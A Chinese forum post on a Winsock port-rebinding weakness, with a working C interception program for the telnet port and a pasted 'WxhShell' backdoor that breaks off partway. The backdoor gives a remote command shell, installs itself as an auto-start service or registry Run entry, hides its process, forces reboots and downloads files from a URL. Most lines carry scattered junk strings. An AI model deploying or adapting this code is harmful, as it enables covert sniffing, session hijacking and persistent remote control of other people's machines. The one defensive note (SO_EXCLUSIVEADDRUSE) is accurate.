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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `mquGk|)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /5?tXH"  
66po SZR@  
  saddr.sin_family = AF_INET; k?_uv  
l_ LH!Tu  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ZtpbKy!\$B  
"}0)~,{x B  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ! z5Ozm+}  
- R`nitf  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Y{8}z ZD  
JRDIGS_~  
  这意味着什么?意味着可以进行如下的攻击: c7R6.T  
!]&+g'aC3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 LXRIo2ynuw  
o3le[6C/8=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) A=np ?wc  
6L-3cxqf\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 U \F ?{/  
- I~\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `L3{y/U'  
\{o<-S;h  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1Q$/L+uJ5  
^fbzlu?G4-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6Zv-kG  
ra1_XR}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {G=|fgz  
9Wdx"g52_D  
  #include r$,Xv+}  
  #include -hGLGF??  
  #include $8Gj9mw4e'  
  #include    n m.5!.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !14l[k+\  
  int main()  ">q?(i\  
  { P&*e\"{  
  WORD wVersionRequested; 88l{M[B2  
  DWORD ret; p\tA&>3-  
  WSADATA wsaData; .+5;AtN  
  BOOL val; & z5:v-G?  
  SOCKADDR_IN saddr; dA0o{[o=  
  SOCKADDR_IN scaddr; fjm 3X$tR  
  int err; Y0ACJ?|  
  SOCKET s; l7(p~+o?h>  
  SOCKET sc; A" IaFXB  
  int caddsize; S"@@BQ#mf  
  HANDLE mt; &Zo+F]3d  
  DWORD tid;   -~ Dn^B1^  
  wVersionRequested = MAKEWORD( 2, 2 ); I:YE6${k!  
  err = WSAStartup( wVersionRequested, &wsaData ); 'K|F{K  
  if ( err != 0 ) { SfPtG  
  printf("error!WSAStartup failed!\n"); Gyc _B  
  return -1; <,J O  
  } u`pw'3hY  
  saddr.sin_family = AF_INET; [+qB^6I+P%  
   rfV{+^T;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 B+2.:Zn6  
2>m"CG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;6`7 \  
  saddr.sin_port = htons(23); 1{G@'# (  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  k.\4<}  
  { 4Td)1~zc3  
  printf("error!socket failed!\n"); )#,a'~w  
  return -1; ,t39~w  
  } uC2qP)m,^  
  val = TRUE; z\Z+>A  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9+~1# |  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =27ZY Z  
  { ' ?EG+o8  
  printf("error!setsockopt failed!\n"); (i-L:  
  return -1; srH.$Y;~  
  } Bd[H@oKru  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Kj:'Ei7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 NFI~vkk'G  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7Kt i&T  
a)!R4  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *]ME]2qP  
  { 8x9;3{R   
  ret=GetLastError(); 9 $zx<O  
  printf("error!bind failed!\n"); vyT-!mC  
  return -1; $LtCI  
  } >n%ckL|rG  
  listen(s,2); Ee=!bv(%70  
  while(1) iGNZC{  
  { 9<5ii  
  caddsize = sizeof(scaddr); h#u k-7  
  //接受连接请求 Cm-dos  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); h2 >a_0"  
  if(sc!=INVALID_SOCKET) MF +F8h>/  
  { x/%/MFK)>8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _;:B@Z  
  if(mt==NULL) j{H IdP  
  { ;kD Rm'(  
  printf("Thread Creat Failed!\n"); 0I*{CVTQj  
  break; ;>Z0e`=  
  } vH6.;j'^  
  } TU9$5l/;g  
  CloseHandle(mt); th+LScOX  
  } ~2QD.(  
  closesocket(s); hjp,v)#  
  WSACleanup(); `r0MQkk  
  return 0; T!>sL=uf  
  }   XKvH^Z4h{l  
  DWORD WINAPI ClientThread(LPVOID lpParam) +SkfT4*U  
  { ePTxuCf>  
  SOCKET ss = (SOCKET)lpParam; >vNE3S_  
  SOCKET sc; $Eo-58<q  
  unsigned char buf[4096]; s2 $w>L  
  SOCKADDR_IN saddr; J$,bsMIX  
  long num; ]MB6++.e  
  DWORD val; mh#_lbe'  
  DWORD ret; "f-HOd\=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 SI7r `'7A'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   qrc ir-+  
  saddr.sin_family = AF_INET; V|pO";%>,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); MkM`)g 5  
  saddr.sin_port = htons(23); #X0Y8:vj  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1c4:'0  
  { %5j*e  
  printf("error!socket failed!\n"); Y5<W"[B!  
  return -1; :%IB34e  
  } ^-(DokdBn  
  val = 100; 8#RL2)7Uy`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  x(A6RRh  
  { `Cz_^>]|=  
  ret = GetLastError(); KR>o 2  
  return -1; :71St '  
  } m5cRHo<9Y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n"nfEA3{`  
  { "FLiSz%ME  
  ret = GetLastError(); K/8TwB?I  
  return -1; I\|.WrMNi  
  } cPX^4d~9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >&Y\g?Z6G  
  { L!~ap  
  printf("error!socket connect failed!\n"); j-t"  
  closesocket(sc); 'v5q/l  
  closesocket(ss); B\+uRiD8w  
  return -1; 18> v\Hi<  
  } K8h\T4  
  while(1) ]qiX"<s>~C  
  { F:LrQu  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [$Jsel<T=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0m4'm<2m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <A&Zl&^1  
  num = recv(ss,buf,4096,0); Tj!rAMQk  
  if(num>0) A&X XL~yH  
  send(sc,buf,num,0); fPG3$<Zr  
  else if(num==0) h79~d%-  
  break; h/*@ML+bB8  
  num = recv(sc,buf,4096,0); dyl1~'K^  
  if(num>0) n39EKH rm%  
  send(ss,buf,num,0); /b410NP5  
  else if(num==0) 1+qP7 3a^  
  break; uz;eY D  
  } &@'+h* b  
  closesocket(ss); @GF3g=  
  closesocket(sc); ]6,D 9^{;  
  return 0 ; 3]kN9n{  
  } ;dTxQ_:  
bl#6B.*=  
%Hu.FS5'  
========================================================== rv2;)3/*  
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下边附上一个代码,,WXhSHELL m1M6N`f  
^[Y/ +Q.J  
========================================================== 8qoA5fW>  
z<8VJZd  
#include "stdafx.h" Ei89Ngp\}  
X=Jt4 h 9  
#include <stdio.h> D0h6j0r 5  
#include <string.h> @QF;m  
#include <windows.h> Q|G|5X  
#include <winsock2.h> t"YN:y8-  
#include <winsvc.h> #{J+BWP\o  
#include <urlmon.h> C2 yJ Xi`$  
lz _ r  
#pragma comment (lib, "Ws2_32.lib") c-4z8T#M^  
#pragma comment (lib, "urlmon.lib") q&^H" fF  
Wl]XOUZ  
#define MAX_USER   100 // 最大客户端连接数 kR{$&cE^  
#define BUF_SOCK   200 // sock buffer CW+gZ!  
#define KEY_BUFF   255 // 输入 buffer uFFC.w  
)#sN#ZR$  
#define REBOOT     0   // 重启 j3j^cO[8v  
#define SHUTDOWN   1   // 关机 {d> 6*b  
cvYKZB  
#define DEF_PORT   5000 // 监听端口 ."`||@|  
7t+H94KG7  
#define REG_LEN     16   // 注册表键长度 LVdtI  
#define SVC_LEN     80   // NT服务名长度 nIqF:6/  
im F,8'  
// 从dll定义API 6rlvSdB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]hZk #rp}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bb$1zSA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E CPSE {  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,Qj\_vr@  
@2TfW]6  
// wxhshell配置信息 n2Q ?sV;m  
struct WSCFG { x!u6LDq0  
  int ws_port;         // 监听端口 V6'k\5|_  
  char ws_passstr[REG_LEN]; // 口令 15MKV=?oY  
  int ws_autoins;       // 安装标记, 1=yes 0=no $)'LbOe  
  char ws_regname[REG_LEN]; // 注册表键名 ~w(A3I.  
  char ws_svcname[REG_LEN]; // 服务名 X n Rm9%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^MVOaV65  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o5G]|JM_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *p|->p6,u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no S KGnx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !e('T@^u6u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?\zyeWK0L  
boZ/*+t  
}; ;HiaX<O!  
-?Cu-'  
// default Wxhshell configuration LYTnMrM  
struct WSCFG wscfg={DEF_PORT, }TDq7-(g  
    "xuhuanlingzhe", _B\87e  
    1, qipS`:TER  
    "Wxhshell", {vur9L  
    "Wxhshell", rym*W\AWx  
            "WxhShell Service", #r]GnC,  
    "Wrsky Windows CmdShell Service", ACF_;4%&  
    "Please Input Your Password: ", .:tR*Kst`7  
  1, "WH &BhQYD  
  "http://www.wrsky.com/wxhshell.exe", wkT4R\H>  
  "Wxhshell.exe" EW/NH&{  
    }; 'lmjZ{k  
l !ZzJ&  
// 消息定义模块 muO;g&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^tVIPH.R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +y][s{A  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S e(apQH  
char *msg_ws_ext="\n\rExit."; &+GbklUB~  
char *msg_ws_end="\n\rQuit."; Z1wfy\9c8  
char *msg_ws_boot="\n\rReboot..."; A[f `xE  
char *msg_ws_poff="\n\rShutdown..."; E cd~H+  
char *msg_ws_down="\n\rSave to "; Ah zV?6e  
f?"909&  
char *msg_ws_err="\n\rErr!"; fLV@~T|  
char *msg_ws_ok="\n\rOK!"; ][~rk?YY  
y/+y |.Xg  
char ExeFile[MAX_PATH]; u Npa2{S'  
int nUser = 0; d!"gb,ec  
HANDLE handles[MAX_USER]; mOb@w/f  
int OsIsNt; s+v$sF  
}RQ'aeVl(  
SERVICE_STATUS       serviceStatus; ?:W=ddg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d%oHcn  
D?"Q)kVuD  
// 函数声明 uFaT~ 4  
int Install(void); 2gnz=  
int Uninstall(void); K:Z|# i-  
int DownloadFile(char *sURL, SOCKET wsh); lNv xt6@s  
int Boot(int flag); B*fBb.Z  
void HideProc(void); wL&[Vi_j{  
int GetOsVer(void); O\w-hk  
int Wxhshell(SOCKET wsl); 4n%|h-!8  
void TalkWithClient(void *cs); KCn#*[  
int CmdShell(SOCKET sock); ,_:6qn{  
int StartFromService(void); VGOdJ|2]Wr  
int StartWxhshell(LPSTR lpCmdLine); 8,:lw3x1  
Gn<e&|4>i}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pzU:AUW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'JAe =K H  
l#]+I YD  
// 数据结构和表定义 d)0 hAdh  
SERVICE_TABLE_ENTRY DispatchTable[] = epP_~TU  
{ D~,i I7ac  
{wscfg.ws_svcname, NTServiceMain}, TH+TcYqO  
{NULL, NULL} 2F:X:f  
}; z{qn|#}  
Bc}e ??F  
// 自我安装 M2nZ,I=l  
int Install(void) 'A/ f>W  
{ x^ sTGd  
  char svExeFile[MAX_PATH]; lsVg'k/Z!  
  HKEY key; ~%sNPKjA  
  strcpy(svExeFile,ExeFile); ] .c$(.  
qwo{34  
// 如果是win9x系统,修改注册表设为自启动 W}k)5<C4v  
if(!OsIsNt) { 1["IT.,f.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'he&h4fm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5 ~"m$/yE  
  RegCloseKey(key); ['I5(M@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G)%r|meKGB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "=0JYh)%_  
  RegCloseKey(key); !XY}\zKq  
  return 0; J#G\7'?{  
    } x%RE3J-  
  } jDW$}^ 6  
}  j g_;pn  
else { (@xr/9:i  
S#|5&SR  
// 如果是NT以上系统,安装为系统服务 {|tMN,Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wE_#b\$=b  
if (schSCManager!=0) 9bD ER  
{ |LE*R@|3$  
  SC_HANDLE schService = CreateService ^2mCF  
  ( hle@= e/n  
  schSCManager, `~LaiN.  
  wscfg.ws_svcname, }k6gO0z  
  wscfg.ws_svcdisp, 58Z,(4:E  
  SERVICE_ALL_ACCESS, _i0,?U2C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s?&UFyYb,  
  SERVICE_AUTO_START, <2PO3w?Z  
  SERVICE_ERROR_NORMAL, `R:HMO[ow  
  svExeFile, 9Oc(Gl5az  
  NULL, - [7S.  
  NULL, 6CzN[R}  
  NULL, k7bfgb {  
  NULL, 3 yM!BTlX  
  NULL -)E6{  
  ); +Z/aG k;  
  if (schService!=0) $9<P3J 1  
  { y?V#LW[^E  
  CloseServiceHandle(schService); {c=H#- A  
  CloseServiceHandle(schSCManager); &fwb?Vn4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u]t#Vf-$u  
  strcat(svExeFile,wscfg.ws_svcname); y!kM#DC^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |z.Ov&d4)(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zA&]#mc  
  RegCloseKey(key); WO{9S%ck  
  return 0; h?&S*)1  
    } ],Y+|uX->  
  } uh~,>~a|  
  CloseServiceHandle(schSCManager); $:*/^)L  
} *iujJ i  
} OyTp^W`&  
<{A|Xs  
return 1; UC?i>HsJrX  
} gK- $y9]~+  
YnX6U 1/^  
// 自我卸载 I#](mRJ6  
int Uninstall(void) O%busM$P)/  
{ 'U4@Sax,  
  HKEY key; G+jcR; s  
bOdyrynh  
if(!OsIsNt) { %hb!1I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RhumNP<M  
  RegDeleteValue(key,wscfg.ws_regname); Ec|5'Kz]  
  RegCloseKey(key); r`d.Wy Zj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8,&QY%8pX  
  RegDeleteValue(key,wscfg.ws_regname); Z~ {[YsG  
  RegCloseKey(key); R>`TV(W`9  
  return 0; r!O4]j_3  
  } ;O * o  
} 7a'@NgiGg  
} m*H6\on:  
else { aZYs?b>Gm  
{#uf#J|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5\P3JoH:Yg  
if (schSCManager!=0) ~er4w+"  
{ OwG:+T_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (Qz| N  
  if (schService!=0) %z AN@  
  { .5?Md  
  if(DeleteService(schService)!=0) { >tVD[wVF0  
  CloseServiceHandle(schService); -nC!kpo  
  CloseServiceHandle(schSCManager); |>AHc_:$$  
  return 0; 3']=w@~ O[  
  } Lw #vHNf6  
  CloseServiceHandle(schService); ~0XV[$`L  
  } j?9fb  
  CloseServiceHandle(schSCManager); 4Nz]LK%@  
} }TAHVcX*p  
} naWW i]9  
zrCQEQq  
return 1; gAViwy9{  
} zu|=1C#5h  
/ ,#&Htk  
// 从指定url下载文件 :TN^}RML  
int DownloadFile(char *sURL, SOCKET wsh) {,b:f  
{ ;l2pdP4jf  
  HRESULT hr; A;#GU`  
char seps[]= "/"; 334tg'2]  
char *token; Dh{sVRA  
char *file; b0"R |d[i  
char myURL[MAX_PATH]; ?*)wQZt;  
char myFILE[MAX_PATH]; 8gI~x.k`  
G[!Y6c 3  
strcpy(myURL,sURL); Mny mV;y"  
  token=strtok(myURL,seps); ?g #4&z.  
  while(token!=NULL) =f{YwtG  
  { f1UGDC<p9  
    file=token; &nEQ `3~F  
  token=strtok(NULL,seps); by%k*y  
  } qT+:oMrTSm  
\Z%V)ZRi=  
GetCurrentDirectory(MAX_PATH,myFILE); %["V "{ z  
strcat(myFILE, "\\"); "<I*ViZ  
strcat(myFILE, file); .|9o`mF7  
  send(wsh,myFILE,strlen(myFILE),0); !]z6?kUK  
send(wsh,"...",3,0); S`?cs^?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gw);b)&mx  
  if(hr==S_OK) 3"J85V%h]n  
return 0; l\{{iAC]I  
else u4p){|x7s  
return 1; v22ZwP  
p[lciWEW  
} V57tn6 >b  
QUU'/e2^c  
// 系统电源模块 &lYe  
int Boot(int flag) *wetPt)~v_  
{ vD*9b.*  
  HANDLE hToken; >X!A/; $  
  TOKEN_PRIVILEGES tkp; Swg%[r=p=  
D,J yb0BW  
  if(OsIsNt) { -YHyJs-bU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lGAKHCs  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JHZ`LWq  
    tkp.PrivilegeCount = 1; |ydOi&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X0QLT:J b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %;{R o)03  
if(flag==REBOOT) { A#P]|i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h16i]V  
  return 0; $5n6C7  
} G`" 9/FI7  
else { p&~= rp`E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) RY]Vo8  
  return 0; @on\@~Ug  
} 7v^V]&&s  
  } ~)\E&c  
  else { 4q7hL  
if(flag==REBOOT) { 4]$$ar)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iCrLZ" $M  
  return 0; ?H2{R:  
} ~9KxvQzt  
else { 1-M\K^F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \P` mV9P  
  return 0; aV'r oxM  
} 2PSt*(  
} [C"[#7  
 H*]B7?S  
return 1; `K^j:fE7n  
} 8P#jC$<  
DNN60NX 5Q  
// win9x进程隐藏模块 ?g21U97Q  
void HideProc(void) Y$SwQ;wl  
{ Z-D4~?Tv  
_;1H2o2f  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C_JDQByfL  
  if ( hKernel != NULL ) JM-rz#;1  
  { (?7=$z!h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gZD,#D.hR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dUg| {l  
    FreeLibrary(hKernel); GcL:plz  
  } {tlt5p!4  
<!r0[bKz@  
return; /Ky xOb)  
} LT ZoO9O  
&CEZ+\bA  
// 获取操作系统版本 "}jY;d#n  
int GetOsVer(void) =(x W7Pt~  
{ z sZP\  
  OSVERSIONINFO winfo; $stBB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hn bF}AD  
  GetVersionEx(&winfo); C/{tvY /o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eZ^-gk?  
  return 1; -:|1>og  
  else {IlX@qWr  
  return 0; '[nH] N  
} 3:;2Av2(X.  
j\Z/R1RcW  
// 客户端句柄模块 9. 7XRxR^  
int Wxhshell(SOCKET wsl) )j[rm   
{ *mgK^9<  
  SOCKET wsh; | rDv!m  
  struct sockaddr_in client; rg^  
  DWORD myID; B.-1wZl  
i!!1^DMrw  
  while(nUser<MAX_USER) -8]M ,,?  
{ 85Hb~|0  
  int nSize=sizeof(client); lQolE P.pc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zu~E}  
  if(wsh==INVALID_SOCKET) return 1; wSMP^kG  
/5y*ZIq]e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]^63n/Twj  
if(handles[nUser]==0) 2sOV3~bB  
  closesocket(wsh);   vZQ'  
else uNV\_'9>Y  
  nUser++; p+;[i%`  
  } QlHxdRK`.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A\jX#gg  
RU1+ -   
  return 0;  3O:gZRxK  
} N!fTt,  
_FET$$>z N  
// 关闭 socket YRy5.F%?  
void CloseIt(SOCKET wsh) x-:a5Kz!  
{ `zjEs8`'  
closesocket(wsh); Q9`}dYf.  
nUser--; ]y:ez8RFPU  
ExitThread(0); q~^qf  
} nbpGxUF`]  
].j;d2xT\  
// 客户端请求句柄 m&H@f:  
void TalkWithClient(void *cs) #sOkD  
{ Kug_0+gI  
86s.qPB0  
  SOCKET wsh=(SOCKET)cs; CCp8,  
  char pwd[SVC_LEN]; #N=!O/Y  
  char cmd[KEY_BUFF]; ib4shaN`  
char chr[1]; eN/o}<(e  
int i,j; ,,Dwb\B}  
q@i,$R  
  while (nUser < MAX_USER) { S9$*w!W  
X0,?~i6Q  
if(wscfg.ws_passstr) { 1Fado$# 7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n6PXPc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b`@aiXN)+  
  //ZeroMemory(pwd,KEY_BUFF); wX_s./#JJ  
      i=0; P+m{hn~%  
  while(i<SVC_LEN) { Hq{i-z+  
w!0`JPu  
  // 设置超时 ~f[AEE~,s+  
  fd_set FdRead; 1Qi5t?{  
  struct timeval TimeOut; ;_.%S*W\  
  FD_ZERO(&FdRead); !z !R)6  
  FD_SET(wsh,&FdRead); Sc!{ o!9\  
  TimeOut.tv_sec=8; qjsS2,wM  
  TimeOut.tv_usec=0; [dK5kO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); GgoPwl#{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a)+;<GZ~  
1]L 0r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C0xj M0  
  pwd=chr[0]; z9k3@\7  
  if(chr[0]==0xd || chr[0]==0xa) { rKR2v (c  
  pwd=0; !+;'kI2  
  break; X\r?g  
  } Q0)6 2[cMm  
  i++; kvzGI>H:  
    } E1U~ ew  
A8?uCkG  
  // 如果是非法用户,关闭 socket &*wN@e(c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @O7hY8",  
} 0]C~CvO  
O<&8 gk~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZgN )sVJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wzr3 y}fCe  
a&6e~E$K2  
while(1) { 9V]\,mD=  
y#'|=0vTvP  
  ZeroMemory(cmd,KEY_BUFF); V^a] @GK:  
LV4]YC  
      // 自动支持客户端 telnet标准    a=<l}`*  
  j=0; f$G{7%9*  
  while(j<KEY_BUFF) { gK{-eS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ""GeO%J8  
  cmd[j]=chr[0]; wHSas[4k  
  if(chr[0]==0xa || chr[0]==0xd) { l-Hp^|3Wq  
  cmd[j]=0; 2|xNT9RW  
  break; r Z0+mS'/G  
  } <,%qt_ !  
  j++; W}<'Y@[ ,  
    } wf4?{H  
prf  
  // 下载文件 R<}n?f\#JZ  
  if(strstr(cmd,"http://")) { Cv@ZzILyoK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .w/_Om4T*b  
  if(DownloadFile(cmd,wsh)) K:!|xr(1d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `'Fz :i  
  else *_ 2db   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D<=:9  
  } nE!h&}(  
  else { (nWi9(}J  
A.a UWh  
    switch(cmd[0]) { E2M|b  
  :zXkQQD8`  
  // 帮助 v(+9&  
  case '?': { 1l$c*STK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :Ogt{t  
    break; #&JhA2]q  
  } j[z o~Y4z  
  // 安装 #HjiE  
  case 'i': { Ww9%6 #i t  
    if(Install()) &,pL3Qos  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KLpe!8tAe  
    else Xx~za{p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3snr-)   
    break; %?gh;? GD  
    } *Uvh;d{  
  // 卸载 H 1`}3}"  
  case 'r': { otQulL)T/  
    if(Uninstall()) ;A ~efC^<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tw|cgB  
    else 3<ikMUq&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7B@[`>5?%L  
    break; 1'c  
    } (1`z16  
  // 显示 wxhshell 所在路径 2!Ip!IQ:  
  case 'p': { ZJCD)?]=3  
    char svExeFile[MAX_PATH]; ZP>KHiA  
    strcpy(svExeFile,"\n\r"); }bQqln)#  
      strcat(svExeFile,ExeFile); ku=o$I8K  
        send(wsh,svExeFile,strlen(svExeFile),0); J7FCW^-`3  
    break; ~)';[Ha  
    } 5l"/lGw  
  // 重启 r|U'2+vn  
  case 'b': { 8`e75%f:2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =+K2`=y;WF  
    if(Boot(REBOOT)) zmV5k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VqzcTr]_  
    else { AS;EO[Vn  
    closesocket(wsh); 1&S34wJF  
    ExitThread(0); 95Q{d'&  
    }  >'>onAIL  
    break; 8cqH0{  
    } 3l?D%E]P  
  // 关机 7Sc._G{[%  
